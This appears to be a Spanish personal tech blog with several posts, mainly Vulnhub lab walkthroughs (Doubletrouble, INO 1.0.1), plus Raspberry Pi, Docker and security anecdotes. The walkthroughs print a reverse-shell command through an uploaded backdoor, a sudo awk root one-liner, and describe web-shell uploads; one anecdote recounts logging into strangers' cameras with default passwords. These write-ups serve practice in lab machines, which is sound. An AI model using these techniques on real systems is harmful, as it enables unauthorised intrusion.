Walkthrough Doubletrouble Parte I

Introducción

He querido continuar con esta serie de entradas resolviendo máquinas virtuales vulnerables, esta he que traído hoy, se llama doubletrouble y aunque tiene un nivel de dificultad bastante fácil, me ha gustado porque demuestra que cuando en un sistema hay presentes deficiencias de configuración y software desactualizado con vulnerabilidades, puede ser el desencadenante de una gran tragedia.

Reconocimiento

Como siempre, el objetivo de este tipo de máquinas vulnerables por defecto, es lograr comprometerla y obtener privilegios máximos en el sistema (root). y para empezar, haremos un escanneo a la red para encontrar la IP de la máquina víctima:

Con la IP de la máquina víctima, procedemos a revisar qué puertos tiene abiertos y comenzar a indagar un poco sobre el objetivo:

Encontramos dos puertos comunes abiertos en esta clase de máquinas, el 22, para conexiones SSH y el 80, que corresponde a un servicio web, entonces comencemos explorando por ahí.

En efecto nos presenta una página web, con un formulario de ingreso, y encontramos por varias partes “pdPM”, que posiblemente sea la aplicación instalada, con una pequeña búsqueda en google, comprobamos que es un gestor de proyectos web. Aprovechando que en la página de inicio nos muestran la versión instalada, es un buen momento para buscar vulnerabilidades de este software.

Como podemos ver, hay varios exploits interesantes, por ejemplo algunos nos permiten ejecución remota de comandos (RCE), pero necesitamos credenciales de acceso. También vemos que hay un exploit que nos permite ver las credenciales sin estar autenticados, sin embargo, las credenciales expuestas, no funcionan ni para acceder a la aplicación, ni para ingresar por SSH.

Aunque pareciera que estamos atascados, vamos a aplicar una enumeración de directorios sobre el servidor y revisar si hay alguna información o directorio que podamos utilizar.

Hay varios directorios bastante llamativos, por ejemplo, (y les adelanto), en el directorio “secret” hay una imagen, que contiene unas credenciales ocultas con esteganografía, que permite resolver el reto de manera mucho más fácil, sin embargo, aquí no hacemos eso.

Aquí no hacemos eso - Avengers - Plantilla de Meme

El principio del fin

Así que nos centraremos en el directorio “install”, al acceder a el, veremos que nos permite realizar una nueva instalación del software, lo cual ya lo hace bastante peligroso.

Ahora tenemos que configurar la base de datos, intenté usar las credenciales expuestas pero, una vez más, no funcionaron, así que decidí crear un contenedor de docker con una imagen de mariadb.

Hecho esto, después de dar clic en “database config” podemos poner, tanto la IP del servidor (que es la misma IP del atacante), el puerto, que por defecto es 3306, el nombre de la base de datos y las credenciales que definimos al crear el contenedor, por último daremos clic en “install database”.

Finalizando la configuración, podremos poner las nuevas credenciales de acceso, he decidido dejar el usuario que pone por defecto y la contraseña “pwned”, el resto lo dejamos tal cual y finalizamos dando clic en “save”.

En resumen

Hasta el momento no hemos explotado ninguna vulnerabilidad de software, cambiamos la configuración del software para que apunte a una base de datos a una controlada por nostros y poder generar un usuario y contraseña válido de acceso al sistema, ¿para qué? ¡exactamente! poder usar los exploit de ejecución remota de comandos que nos pide autenticación. Esto lo hemos hecho aprovechando un error de configuración del administrador del sistema. Al finalizar la instalación e ingresar con el usuario y contraseña definida, vemos cómo hay una alerta que pide que sea borrado el directorio “install”, el administrador no ha hecho esto y es lo que nos permite ejecutar nuestro siguiente paso.

Explotando vulnerabilidades

Volviendo a la búsqueda de los exploits disponibles para el software qdpm he decidido usar y descargar el 50175

Antes de ejecutar el exploit, vale la pena revisar su código para entender un poco qué es lo que hace, en primera instancia, vemos que hay un campo vulnerable, es “photo”, y que allí cargará un archivo llamado “backdoor.php” y que a través del parámetro “cmd” en una petición get, ejecutará el comando que deseemos.

Nota: Otra de las razones para revisar el código, es que está desordenado y hay que corregir unos cuantos saltos de línea. (Y porque siempre es bueno revisar qué se está ejecutando, para no llevarse sorpresas de algún tipo 😉 )

En otra parte del código, veremos que la cuenta de administrador no servirá para explotar la vulnerabilidad, ya que no tiene una página denominada “my account”

Entonces procederemos a crear una nueva cuenta, daremos clic en “add user” y llenamos los campos necesarios, como contraseña he vuelto a elegir “pwned” y damos clic en save.

Nota: recuerden que reciclar contraseñas no es una buena práctica y que esto lo hago únicamente para efectos de demostración, por favor no lo intenten en casa 😉

Ejecutando el exploit vemos los argumentos que necesita para ejecutarse correctamente:

Entonces procederemos a completarlos y ejecutar el exploit:

Como vemos, nos dice que el exploit se ejecutó correctamente y aunque nos da una ruta para ejecutarlo, esta no es correcta, así que nos dirigiremos a http://10.0.2.22/uploads/users y veremos nuestro backdoor

Ahora ya podemos ejecutar comandos a través del parámetro “cmd”, por ejemplo:

Obteniendo una shell

Ahora que podemos ejecutar comandos, podemos obtener una shell reversa y así desplazarnos mejor por el sistema, comenzamos por poner abrir un puerto con netcat en la máquina atacante:

Desde el navegador iremos a la url http://10.0.2.22/uploads/users/387007-backdoor.php?cmd=nc%20-e%20/bin/sh%2010.0.2.15%20666 que nos entablará la conexión, volvemos a nuestra terminal y veremos esto

Haremos un tratamiento de la terminal para obtener una shell interactiva, no pulicaré imágenes, pero los pasos son los siguientes:

script /dev/null -c bash
presionar ctrl + z

stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

Con esto obtendremos algo así:

Escalando privilegios

Como vemos, ya hemos ganado acceso a la máquina vulnerable, podemos ejecutar comandos y ahora nos queda convertirnos en superusuario (root), que es lo más fácil de todo este proceso. Podemos ejecutar el comando sudo -l para poder ver qué se puede ejecutar como root, veremos que podemos usar awk como superusuario y sin contraseña.

Así que podemos usar gtfobins para ver cómo podemos elevar privilegios con awk y encontramos el comando sudo awk 'BEGIN {system("/bin/sh")}' lo retocamos un poco, para poder usar bash y tendremos sudo awk 'BEGIN {system("/bin/bash")}', al ejecutarlo, veremos que ya somos root, con lo cual, habremos completado el desafío.

Conclusiones

Ha sido un largo camino, no tanto en la resolución de la máquina, pero sí en la redacción y posiblemente en la lectura, entonces no quiero extenderme más, pero hemos visto cómo un atacante mal intencionado podría afectar una empresa aprovechándose de software desactualizado, con vulnerabilidades o de errores de configuración, es importante seguir las recomendaciones que da el fabricante a la hora de implementar un nuevo software y realizar un constante monitoreo a vulnerabilidades conocidas o nuevas que se puedan presentar en los sistemas que se administran.

Espero que se hayan divertido o aprendido algo nuevo, nos vemos en la próxima entrada.

Un año de mucho café… Gracias

Bueno, acá estamos, un año después de comenzar con un este proyecto personal y aunque en materia de contenido no ha tenido el avance que me imaginé que tendría, el alcance y el cariño por parte de ustedes ha sobrepasado cualquier expectativa. Y como ya lo mencioné, aunque no he publicado contenido con la regularidad y calidad que quisiera, este pequeño proyecto me ha servido mucho a nivel personal, no sólo por poner a prueba y adquirir nuevas habilidades informáticas, también porque ha servido para, poco a poco, retomar la escritura, y aunque siento que no lo hago tan bien, muchos de ustedes me dicen lo contrario y eso me anima mucho.

Hace mucho vengo dándole vueltas a la idea de hacer de computadoresycafe.com una marca personal y que me permita abrirme espacio en otras áreas de mi carrera o que marque una diferencia en ella, aunque a veces el tiempo me juega malas pasadas, con lo que siempre espero contar, es con el apoyo que me han dado desde el comienzo, agradezco cada vez que en redes sociales le dan un “me gusta”, comparten o me preguntan por interno las cosas de las que hablo, algunos de ustedes ni siquiera están involucrados con la informática, pero me manifiestan que les entretiene como escribo, esas cosas quedan en mi corazón, nuevamente, y aunque parezca exagerado de mi parte, mil gracias por tanto.

Por último, aprovecho para recordar que hasta el momento, este sitio se ha mantenido libre de publicidad y sin ninguna intención de lucro, sin embargo -y aprovechando la temática del blog- si lo desean, a manera simbólica pueden invitarme a un cafecito en el enlace que aparecerá al finalizar este párrafo, no es una cantidad considerable de dinero y cualquier aporte lo agradeceré inmensamente. ¡Nos vemos en la próxima entrada!

Mi experiencia con Raspberry Pi

En esta época de desarollo tecnológico, pareciera que 1.2 Ghz de procesador y 1 Gb de memoria RAM no es suficiente para nuestras tareas cotidianas, sin embargo, Raspberry Pi nos demuestra lo contrario.

En la red hay un montón de artículos que hablan de Raspberry, proyectos que van desde el mas sencillo hasta el mas alocado e impensable, sin embargo, este artículo está orientado a mi percepción sobre este aparato y la experiencia que he ganado al adquirir una hace un mes.

Un poco de historia

La primera placa de Raspberry fue oficialmente presentada por la fundación sin ánimo de lucro Raspberry Pi en 2012, con modestos 700 Mhz como procesador de un sólo núcleo y 256 Mb de RAM se convirtió en una de las herramientas predilectas para desarrolladores, makers y científicos locos para dar vida a proyectos que van desde consolas de videojuegos, robots, domótica, centros de entretenimiento y servidores de todo tipo.

Imagen del modelo 1 de Raspberry Pi

Tras su éxito y popularidad, la placa ha tenido un desarrollo continuo, hasta llegar al modelo actual, la Raspberry Pi 4, con unas características nada despreciables, tales como un procesador de 4 núcleos de 1.5 Ghz, de 2 a 8 Gb según se escoja, 2 puertos micro HDMI con soporte de 4K, 2 puertos USB 3.0 y conexión Gigabit Ethernet entre otras características que se pueden consultar acá.

Ahora sí, mi experiencia… Pero no sin antes, un poco más de historia

La primera vez que oí hablar de la placa, creo que fue un par de años o meses después de su lanzamiento, no recuerdo el modelo, pero quería una, ¿Para qué? no tengo la menor idea, pero el concepto de tener un computador tan pequeño, me traía loco, no lograba entender cómo funcionaba, cómo era posible y eso sin duda alguna captaba mi atención. Aunque las placas de Raspberry siempre se han caracterizado por un coste muy bajo, para ese entonces, con los gastos de envío y no sé qué otros trámites, el precio no era tan asequible, por lo menos para mí, así que pronto la idea de tener una Raspberry perdió fuerza, sin embargo, continuaba en mis planes tener una algún día y llevar a cabo los proyectos que veía en la red.

Finalmente, con todo el tiempo libre que nos dejó el 2020, comencé nuevamente a considerar adquirir una, decidí conseguir una Raspberry Pi 3 de segunda mano por sólo 53 dólares, me incliné por este modelo, ya que no quería invertir en un aparato que no cumpliera mis expectativas o que simplemente no fuera a utilizar.

Centralizando todo

Con la Raspberry Pi solucioné un problema con el que venía lidiando desde hace mucho tiempo: no tener información centralizada, o depender del computador donde tenía guardado un archivo para modificarlo desde otro computador. Si un día decidía trabajar desde el portátil y los archivos que necesitaba estaban en el computador de escritorio o viceversa, bien tenía que trabajar desde allí, o encenderlo, copiar la información en una USB, transferirla por SSH, enviarla por correo electrónico, etc. Y aunque ese inconveniente se soluciona trabajando en la nube, servicios de almacenamiento tales como Google drive, dropbox, entre otros, no son una opción para mí, no me siento cómodo con la idea de que en algún momento mi conexión a internet pueda fallar y tenga que hacer un montón de maromas para acceder a mis datos.

Así que dentro de la Raspberry tengo un disco duro externo conectado y 3 servicios:

  • Nextcloud: Donde almaceno mis archivos y contraseñas, ya que cuenta con un gestor de contraseñas bastante eficiente, accedo a ellos desde cualquier dispostivo, ya sea por webDAV, el navegador o la app del celular, una maravilla.
  • Servidor GIT: No se ve como la página web de github o gitlab, todo lo hago a través de consola de comandos, pero me gusta la idea de tener el código que desarrollo en un sistema de control de versiónes.
  • Docker: Ya he hablado de cómo docker me cambió la vida, y aunque no todos los contenedores funcionan con arquitectura ARM (lo cual me parece una deficiencia) y aunque que por ello no he podido migrar todas las imágenes y contenedores a la Raspberry, algunos como los de PHP y mariadb funcionan de maravilla y son los que más utilizo.

Otros usos

He convertido la Raspberry Pi en un asistente de voz con ayuda de mycroft, y aunque es más barato comprar un producto de Amazon o Google, mycroft es open source, lo que me hace amarlo automáticamente y no tener que preocuparme por problemas de privacidad.

Algunas anotaciones

Con todo esto que he escrito, parece que Raspberry estuviera sólo al alcance de gente con un altísimo conocimiento informático, cosa que está muy lejos de la realidad, el sistema operativo oficial de Raspberry, Raspberry Pi OS viene con todo listo para tener un ordenador de mesa funcional, en su página web se encuentran muchísimos recursos educativos, incluso la fundación Raspberry, cuyo objetivo es poner el poder de la computación en las manos de personas al rededor del mundo[1], ha desarrollado un modelo llamado Pi 400, una Raspberry Pi embebida en un teclado.

Raspberry Pi 400

Estoy más que convencido que esta es una solución de muy bajo costo que permite afrontar la virtualidad, en especial en el sector de la educación, una vez rota la barrera y el pavor que genera que Raspberry Pi OS esté basado en GNU/Linux.

Conclusiones

Mi experiencia con la Raspberry Pi no puede ser otra que de satisfacción, no sólo por solucionar mis problemas con un muy bajo costo, lo mejor que me ha dejado es el aprendizaje, poder tener un panorama diferente y un espectro más amplio en lo que respecta a soluciones de software libre para el entorno.

Espero les haya gustado el artículo y se animen a usar una Raspberry Pi.

Referencias

[1] Raspberry Pi Foudation. (s. f.). Raspberry Pi. Recuperado 14 de febrero de 2021, de https://www.raspberrypi.org/about/

Walkthrough INO: 1.0.1 Parte II

Bienvenidos a la segunda parte de este reto, en la primera parte, le dimos solución completa al reto, que consistía en encontrar las dos banderas, una como usuario normal y la siguiente como superusuario (root).

En esta segunda entrada, de manera breve, veremos un par de caminos alternos que se hubieran podido tomar para solucionar este reto.

En la aplicación web que encontramos en el servidor web, pudimos ingresar con el usuario y contraseña por defecto, aún así, realizando una búsqueda en exploit-db, encontramos que la aplicación tiene una vulnerabilidad de inyección SQL, que nos permite ingresar como administradores al panel de la aplicación.

Cuando buscaba la forma de elevar privilegios, encontré que en el servidor se corría otro sitio web, una aplicación llamada inoERP, que también tiene una vulnerabilidad crítica que permite ejecutar comandos y por la cuál también podríamos obtener una shell en el sistema.

Si se preguntan cómo era posible encontrar esto antes de ganar la shell por el método utilizado en la parte uno, la respuesta es sencilla, valiéndonos de esta falla de inyección SQL y explorando la base de datos, encontraremos la URL del sitio:

Por último, si se optara intentar la inyección SQL, se debe tener en cuenta que dentro de la máquina virtual se ejecuta la aplicación fail2ban que detectará el ataque y bloqueará la IP del atacante.

Y bien, con esto doy por cerrado completamente este ejercicio, si tienen alguna duda al respecto, dejen un comentario y lo revisaré lo más pronto posible. Gracias por llegar hasta acá y nos vemos pronto.

Walkthrough INO: 1.0.1

Introducción

En esta entrada daremos solución la máquina virtual INO 1.0.1 de vulnhub, esta es una máquina virtual de nivel fácil y el objetivo es encontrar las dos banderas, una de usuario y otra como superusuario (root). En esta entrada veremos el método que utilicé para completar los objetivos, revisando y analizando varios hallazgos, encontré que hay diferentes formas de cumplir el desafío, así que en otra publicación, revisaremos estos otros caminos y sin extendernos mucho, algunas fomas de abordarlos. Por ahora, comenzarmos con el desarrollo del ejercicio.

Conociendo al objetivo

Para empezar, debemos identificar la IP de la máquina, con nmap:

Ahora con la IP identificada, veremos qué servicios están corriendo sobre la máquina:

Como vemos, hay acceso por SSH y está corriendo un servidor web, así que vamos a ver qué contiene este último:

Podemos observar que es una especie de página web para hacer reservas de lotes, en la imagen he seleccionado algo me llamó la atención, que fue publicado por Sourcecodester, pensé que era una jugarreta del creador de la máquina para añadir algo de realismo al ejercicio, sin embargo decidí visitar la página y encontré que es un sitio que se dedica a compartir código de manera libre, así que pensé que podría bajarme el código y ver si podría encontrar alguna inyección SQL o vulnerabilidad que pudiera aprovechar, sin embargo encontré algo que me facilitó mucho más el trabajo, la URL del panel de administración y el usuario y contraseña por defecto del portal:

Con esa información en mente, quise probar que si funcionaban las credenciales por defecto, como ya lo había contado antes en esta historia, muchos administradores son descuidados y no cambian las contraseñas que vienen predefinidas de las aplicaciones que implementan y como se observa a continuación, funcionó a la perfección:

Ya hemos ganado acceso al panel de administración, pero hasta ahora vamos comenzando. Vayan alistando su café.

Preparativos

Para poder ganar acceso al servidor, usaremos una shell de conexión inversa, personalmente uso esta de pentestmonkey.net, sólo basta con editar los detalles de IP y puerto de conexión, tal como lo indican en su página web:

Por otro lado, en mi máquina, prepararemos el puerto de escucha por el cuál se hará la conexión:

Iniciando el ataque

Lo primero que debemos hacer es encontrar la forma de subir nuestra shell, explorando un poco encontré un escenario que me parece perfecto para esto:

En el caso ideal, este formulario debería poder filtrar el tipo de archivo que se está intentando subir (para que no ocurra lo que va a suceder a continuación) y que sólo permita subir imágenes, sin embargo eso no pasa y acá es donde aparecerá la magia:

Después de cargar la shell, se nos redirigirá al listado de casas modelo y todo se ve aparentemente normal, excepto porque donde escribí shell.php, es donde se ejecuta nuestra shell

Si nos devolvemos a la terminal que preparamos con el puerto 666 a la escucha, veremos que nuestra conexión está establecida con éxito: Como dirían en algunas películas con escenas de hackers: “estamos dentro”.

Antes de continuar, ejecutaremos un comando en python, para tener una shell interactiva:

Obteniendo la bandera de usuario

En la ruta /home/ppp encontramos un archivo llamado local.txt y su contenido es nuestra primera bandera, nada complicado.

Escalando privilegios

Esta parte fue bastante complicada y debo aceptar que logré resolverla por un golpe de suerte, buscando algún ejecutable con el cual pudiera elevar permisos, encontré que usan pppd para trabajar con el protocolo ppp:

Teniendo en cuenta esto, decidí revisar la configuración del demonio en la ruta /etc/ppp y ver si podía leer el archivo que tiene guardadas las credenciales de acceso:

Revisando el archivo chap-secrets tenemos la contraseña del usuario ppp, que coincide con uno de los usuarios que tienen acceso de shell:

Como ya vimos, este administrador del sistema no es muy riguroso con su política de contraseñas, entonces podríamos intentar iniciar sesión con esas credenciales.

Nota importante: al inicio del ejercicio la máquina virtual tenía la IP 192.168.0.130, pero en la imagen aparece la 192.168.0.9, esto pasa porque después de un reinicio de mi ordenador, las direcciones cambiaron.

Estamos próximos a terminar, desde esta sesión veremos si tenemos alguna forma de ejecutar comandos como sudo y en efecto, observamos que sin contraseña nos permite usar el comando useradd, que, como nos dicta la intuición, nos permite agregar un nuevo usuario al sistema:

Dando una mirada a al manual de useradd (man useradd) encontré las opciones que se necesitan para poder ejecutar el comando con éxito:

  • -m para crear el directorio del usuario
  • -g el grupo al que se va a añadir al usuario
  • -p la contraseña (que ya debe venir cifrada con la función crypt)

Para poder cifrar la contraseña, como dice el manual, se debe usar la función crypt, para entender cómo funciona, me apoyé de este blog, la contraseña que hemos elegido para esta importante tarea de (in)seguridad será -irónicamente- la infame 12345678:

Ahora debemos revisar qué grupos hay disponibles, como vemos, nuestro nuevo usuario lo podemos agregar al grupo de usuarios de sudo. Ya podemos ir saboreando la victoria:

Últimos detalles

Agregaremos el usuario con los parámetros que ya hemos definido y después de ejecutar el comando confirmamos que nos haya quedado dentro de la lista de usuarios:

Nos cambiaremos de usuario, digitamos la contraseña y vemos que ya tenemos una sesión con nuestro usuario rebel:

Ahora, elevaremos permisos, digitamos la contraseña del usuario y el símbolo # nos indica que somos superusuarios. (root)

Obteniendo la bandera de root

En la ruta /root tenemos el archivo proof.txt que nos indica que hemos cumplido todos los objetivos de nuestro reto:

Conclusiones

No quiero extenderme mucho más, ha sido bastante largo de desarrollar, escribir y editar esta entrada, sin embargo, hemos podido ver los errores más comunes de un administrador de sistemas, los cuales pueden poner el peligro la seguridad no sólo de un sistema, sino de una red completa.

Nos vemos en la segunda parte de esta publicación, con las observaciones y algunas alternativas de solución de este reto. ¡Hasta la próxima!

Vulnhub: cómo usar tus habilidades de hacker sin dañar nada (ni a nadie)

En muchos aspectos de la vida, adquirir una nueva habilidad requiere de poner en práctica la teoría aprendida, y esto también se aplica al entorno de la ciberseguridad,

Por ello existen sitios como vulnhub, una web con una gran cantidad de recursos en forma de máquinas virtuales, que funcionan con los hipervisores más comunes, en las cuales se pueden practicar habilidades en ciberseguridad, criptografía, explotación de vulnerabilidades, entre otros.

Es una comunidad bastante activa, los mismos usuarios publican las máquinas virtuales que han creado, se encuentran con diferentes niveles de dificultad y métodos para desarrollarlas, sólo basta con descargar la imagen desde el enlace proporcionado, configurarla en el hipervisor y ya está, todo listo para empezar a hackear dentro de un entorno controlado, sin meterse en problemas y sin dañar a nada ni a nadie.

En próximas entradas estaré explicando el paso a paso para el desarrollo de algunas de las máquinas publicadas allí.

Hasta la próxima.

Historias cortas de la vida real (III) – Lección para administradores.

Me escribió el amigo de un amigo para que le ayudara con un problema relacionado con las cámaras de seguridad, su disco duro se estaba llenando fácilmente y no entendía el porqué. Esto realmente no tiene nada que ver con el objetivo del blog, pero lo que viene a continuación sí tiene que ver y por eso me animo a contar la historia.

Comencé a revisar y muy rápido noté que había más cámaras configuradas de las que deberían estar, dos más, para ser exactos, le pregunté al amigo de mi amigo y me dijo que no tenía ni idea de la procedencia de esas cámaras. Revisé la configuración y las IP que tenían configuradas no correspondían al segmento de IP del NVR, parecían direcciones IP públicas. Borré las cámaras que no deberían estar y todo pudo terminar ahí, pero no, decidí investigar un poco, tomé nota las direcciones IP y las llamaremos camara1 y camara2.

A día de hoy no entiendo cómo aún la gestión web de las cámaras de seguridad funcionan únicamente con Internet Explorer ¿Alguien ya le dijo a los fabricantes de cámaras -y a algunos desarrolladores- que Microsoft se deshizo de su navegador insignia? Entonces comencé abriendo Internet Explorer.

Comencé por poner la IP direcamente en el navegador, pensando que podría tener acceso a la gestión web de las cámaras, pero no.

Entonces decidí echar mano de nmap para ver si tenía algún puerto abierto y acá tenemos el resultado del análisis para camara1 y camara2

Ingresé por el puerto 8080 de la camara1, en camara2 pareciera que no hubiera puerto alguno abierto, pero siguiendo la lógica del acceso de camara1, también probé con el puerto 8080 y vemos que funciona.

Decidí probar el usuario y contraseña por defecto para muchas cámaras admin/admin, debo admitir que no me sorprendió para nada.

¿Cómo llegaron esas cámaras a un NVR en otra parte del mundo? ¿Puede ser un problema de fábrica? (El NVR del amigo de mi mi amigo y las cámaras en cuestión son del mismo fabricante) esto, como dice un youtuber que sigo, son preguntas que probablemente jamás tendrán respuesta.

Así que el consejo (esto debería ser una norma, en realidad) para todos los administradores, no sólo informáticos sino de cualquier sistema, es que al realizar implementaciones de este o cualquier otro dispositivo tengan en cuenta que no se pueden dejar contraseñas por defecto en los aparatos que están instalando, así fue como en pocos minutos pude hacerme con dos cámaras de seguridad en dos partes diferentes del mundo, donde podría haber imágenes sensibles, datos privados o lo cualquier otra cosa.

Hasta la próxima.

Historias cortas de la vida real (II)

Los delitos informáticos como estafas y suplantaciones de identidad han aumentado por efectos de la pandemia, también se han sofisticado los métodos con los que los delincuentes intentan captar incautos y de esto tratará esta historia corta de la vida real, que sucedió hoy mismo. Aunque no tiene nada de sofisticado, tiene uno de esos “trucos de hacker” que pueden llegar a impresionar a más de uno y me parece importante compartir con todos ustedes.

Como ven en la imagen, la historia comienza con alguien (que me da a entender que no tiene mucho conocimiento en esos temas) pero decidió preguntar por una oferta de un computador que se ve bastante atractiva.

A primera vista la página no se ve mal, tiene un certificado SSL, es responsive, ponen un NIT, aunque no tiene el mejor diseño es agradable, aseguran usar la pasarela de pagos MercadoPago y demuestra cierto esfuerzo por hacer creer que es una empresa real.

Este tipo de páginas se caracterizan por no tener mucho tiempo de creadas en la red, así que precisamente ese fue el lugar donde quise investigar, rápidamente hice una revisión de los registros de WhoIs a través de esta herramienta en la red, a poner el dominio allí, esto fue lo que encontré:

El dominio en cuestión tiene a duras penas 4 días de creación, cosa que no encaja con ciertos mensajes en la dichosa página web donde supuestamente llevan consolidado un buen tiempo en la red, además muchas otras inconsistencias.

Aunque hay muchos otros factores que no estamos teniendo en cuenta, este pequeño “truco” es un buen comienzo para investigar a fondo este tipo de estafas en la red y evitarle a amigos y familiares pasar por este tipo de cosas.
Hasta la próxima.

Historias cortas de la vida real (I)

Hace un tiempo una amiga mía me contactó ya que a su vez un amigo suyo le escribió por un correo que le había llegado donde le pedían cierta cantidad de dinero en bitcoin, el motivo: tenían su contraseña y si no pagaba, iban a usar su cuenta para enviarle a todos sus contactos un video en la que hacía cosas poco decorosas y que escandalizarían al familiar más liberal mientras visitaba un sitio con contenido pornográfico. El temor de esta persona radicaba en que en efecto esa era la contraseña de uno de los dispositivos y aunque no tenía planeado pagar, no sabía qué hacer, ni como sabían su contraseña.

Esta es un tipo de estafa (entendiéndola también como una extorsión) muy común en la red y se aprovecha de tres situaciones: la primera, la fea costumbre que tienen la gran mayoria de personas de reciclar contraseñas, es decir, usar la misma contraseña para todas sus cuentas; la segunda, obtuvieron su contraseña no porque en realidad lo hayan hackeado, sino porque en algún lugar del basto mundo de internet, su correo electrónico y contraseña estaba expuesta y por último, estaban tratando de aplicar ingeniería social con un comportamiento bastante común en la red.

¿Cómo procedí?

Cuando vi el mensaje por primera vez, supe de inmediato que era una estafa y sospeché que en algún lado podría estar publicada esa contraseña, así que hice uso del servicio de Have I Been Pwned, sitio que permite verificar si un correo aparece en alguna de las filtraciones de datos de la web (de esto hablaré más adelante).

Efectivamente, alguno de los sitios en los que esta persona estaba registrado había sido hackeada y los registros de la base de datos expuestos en internet, sitios que nisiquiera recordaba que se había inscrito. Tomándome un poco de libertad, intenté ingresar a estos sitios y en uno, aún funcionaba la contraseña filtrada.

Con el misterio ya resuelto, le transmití un par de recomendaciones, debía cambiar todas las contraseñas de sus cuentas, no sobra revisar el estado del antivirus de los dispositivos, poner una contraseña que sea fácil de recordar pero no fácil de adivinar, de complejidad alta y lo más importante no reciclar contraseñas.

Espero esta experiencia sirva de reflexión para todos y nos ayude a prevenir estafas en la red.
Saludos.

¿Cómo construí este sitio?

Como lo comenté en las generalidades acerca de este blog, uno de mis obejtivos es enseñar las cosas que he aprendido y sobre las que me vaya formando.

La existencia de este espacio obedece a algo sobre lo que he ido estudiando: el proyecto docker y también a la época de cuarentena por los estragos que causó el COVID-19 (A la fecha en la que escribo esta entrada, aún nos encontramos en cuarentena). Hace un tiempo había oído hablar del proyecto Docker, pero nunca había despertado en mí ningún tipo de interés.

Un día me encontraba buscando la forma de realizar transmisiones en vivo a múltiples plataformas en mi faceta como DJ y hallé una solución que significaba bajar una imagen de Docker y correrla en un contenedor, no entendía muy bien de lo que me estaban hablando así que me dispuse a aprender en el camino y voilá, fracasé rotundamente, no lograba hacer correr la aplicación que necesitaba.

Yo siempre he sido alguien de la vieja escuela, fanático de las máquinas virtuales y los entornos de pruebas, no concebía que alguien me ahorrara todo el trabajo de instalar requerimientos, configurarlos y poner a andar la aplicación tan sólo con unas cuantas de líneas de comando. Finalmente después de mucho investigar, logré poner a andar el servidor que necesitaba, claro no sin antes descargar la ISO del sistema operativo, instalar la máquina virtual, configurar repositorios, actualizar el sistema base, instalar la aplicación, bajar los módulos adiciones. Con mi aplicación ya corriendo, estaba feliz, sin embargo, me quedó el mal sabor de boca del fracaso con Docker.

Otro buen día, estaba buscando una documentación acerca de una solución que estaba implementando en el lugar donde trabajo y me encontré con que tenía una imagen en Docker, pero esta vez era diferente, porque había un paso a paso muy completo descrito por Pelado Nerd en su canal de youtube. Y no sólo eso, explorando sus vídeos encontré un completísimo curso de introducción a Docker, que en últimas es lo que hizo posible que construyera este sitio.

No entraré en muchos detalles acerca de la instalación de Docker y Docker compose, ni su uso, el Pelado nerd ya lo hizo y no creo que sea capaz de superar su explicación, así que sin más preambulo, vamos a la obra.

Decidí usar como motor de base de datos mariadb y como CMS wordpress, junto con un certificado SSL generado por letsencrypt, así que el archivo docker-compose en YAML se ve más o menos así:

docker-compose.yaml
version: "2"
services:
#Todos los servicios que se monten están detrás del proxy
 nginx-proxy:
  image: jwilder/nginx-proxy
  restart: always
  ports:
   - "80:80"
   - "443:443"
  volumes:
  #Socket de docker y volúmenes necesarios para el proxy
   - /var/run/docker.sock:/tmp/docker.sock:ro
   - /ruta/de/certificados:/etc/nginx/certs:ro
   - /etc/nginx/vhost.d
   - /usr/share/nginx/html
  #Etiquetas  
  labels:
   - com.github.jrcs.letsencrypt_nginx_proxy_companion.nginx_proxy
#Imagen para generar los certificados gratuitos con letsencrypt
 letsencrypt:
  image: jrcs/letsencrypt-nginx-proxy-companion
  restart: always
  volumes:
   - /ruta/de/certificados:/etc/nginx/certs:rw
   - /var/run/docker.sock:/var/run/docker.sock:ro
  volumes_from:
   - nginx-proxy:rw
#Motor de la base de datos
 db:
  image: mariadb:10.5.2
  volumes:
   - /ruta/de/basedatos:/var/lib/mysql
  restart: always
  environment:
   MYSQL_ROOT_PASSWORD: XXXXX
   MYSQL_DATABASE: nombre_base_datos
   MYSQL_USER: usuario_wordpress
   MYSQL_PASSWORD: password_usuario
#CMS del blog
 wordpress:
  depends_on:
   - db
  image: wordpress:php7.4-apache
  expose:
   - "80"
   - "443"
  restart: always
  environment:
   WORDPRESS_DB_HOST: db:3306
   WORDPRESS_DB_USER: usuario_wordpress
   WORDPRESS_DB_PASSWORD: password_usuario
   WORDPRESS_DB_NAME: nombre_base_datos
  volumes:
   - /ruta/de/archivos/cms:/var/www/html/
#Variables de entorno para el proxy y letsencrypt
  environment:
   - VIRTUAL_HOST=computadoresycafe.com,www.computadoresycafe.com
   - LETSENCRYPT_HOST=computadoresycafe.com,www.computadoresycafe.com
   - [email protected]

Y ya está, luego de editar el archivo, corremos el docker-compose con el siguiente comando:

Sin título
docker-compose up -d

Y ya con esto tenemos una copia de wordpress lista para trabajar con mariadb en menos de 20 minutos, solo basta con que accedan desde el navegador al dominio del sitio, finalicen las configuraciones requeridas.

Al ingresar por primeza vez a la URL del sitio vermos algo así

Espero haya sido bastante constructiva esta entrada, nos vemos en la próxima.